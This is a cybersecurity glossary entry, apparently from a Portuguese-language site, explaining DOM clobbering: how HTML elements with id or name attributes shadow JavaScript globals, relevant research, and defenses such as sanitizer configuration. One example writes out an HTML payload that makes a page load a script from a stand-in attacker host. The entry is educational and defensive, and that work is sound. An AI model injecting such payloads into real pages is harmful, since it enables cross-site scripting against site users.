Skip to content
Vol. 1 · Ed. 2026
CyberGlossary
Português
Entry № 382

DOM Clobbering

O que é DOM Clobbering?

DOM ClobberingA browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining.

DOM clobbering exploits a legacy DOM feature: any HTML element with an `id` or `name` attribute is exposed as a property on `window` (and, for form fields, on its parent form). An attacker who can inject limited HTML — say through a markdown renderer or a relaxed sanitizer — can therefore create variables that override or define globals, even with all script tags blocked. Classic targets include `window.config`, library globals such as `_wpemojiSettings`, and properties a strict CSP otherwise protects. Modern research (Khodayari & Pellegrino, Heyes, and the 2023 attacks on widely used sanitizers like DOMPurify) demonstrated reliable gadget chains turning HTML-only injection into full XSS by hijacking framework lookups (`window.config.url`, `document.currentScript.src`). Defenses include using `document.getElementById` instead of bare global lookups, accessing globals via `let`/`const`, locking sensitive properties on `window`, and configuring sanitizers to strip or namespace `id`/`name` attributes on user-controlled HTML.

● Exemplos

  1. 01

    A markdown comment containing `<a id=config><a id=config name=url href=//evil>` causes the page's loader to fetch a script from evil.tld.

  2. 02

    A 2023 DOMPurify advisory adds `id` and `name` attributes to the sanitizer's strip-list to defeat known DOM-clobbering gadget chains.

● Perguntas frequentes

O que é DOM Clobbering?

A browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining. Pertence à categoria Segurança de aplicações da cibersegurança.

O que significa DOM Clobbering?

A browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining.

Como funciona DOM Clobbering?

DOM clobbering exploits a legacy DOM feature: any HTML element with an `id` or `name` attribute is exposed as a property on `window` (and, for form fields, on its parent form). An attacker who can inject limited HTML — say through a markdown renderer or a relaxed sanitizer — can therefore create variables that override or define globals, even with all script tags blocked. Classic targets include `window.config`, library globals such as `_wpemojiSettings`, and properties a strict CSP otherwise protects. Modern research (Khodayari & Pellegrino, Heyes, and the 2023 attacks on widely used sanitizers like DOMPurify) demonstrated reliable gadget chains turning HTML-only injection into full XSS by hijacking framework lookups (`window.config.url`, `document.currentScript.src`). Defenses include using `document.getElementById` instead of bare global lookups, accessing globals via `let`/`const`, locking sensitive properties on `window`, and configuring sanitizers to strip or namespace `id`/`name` attributes on user-controlled HTML.

Como se defender contra DOM Clobbering?

As defesas contra DOM Clobbering costumam combinar controles técnicos e práticas operacionais, conforme detalhado na definição acima.

Quais são outros nomes para DOM Clobbering?

Nomes alternativos comuns: HTML namespace pollution, Named-element global hijack.

● Termos relacionados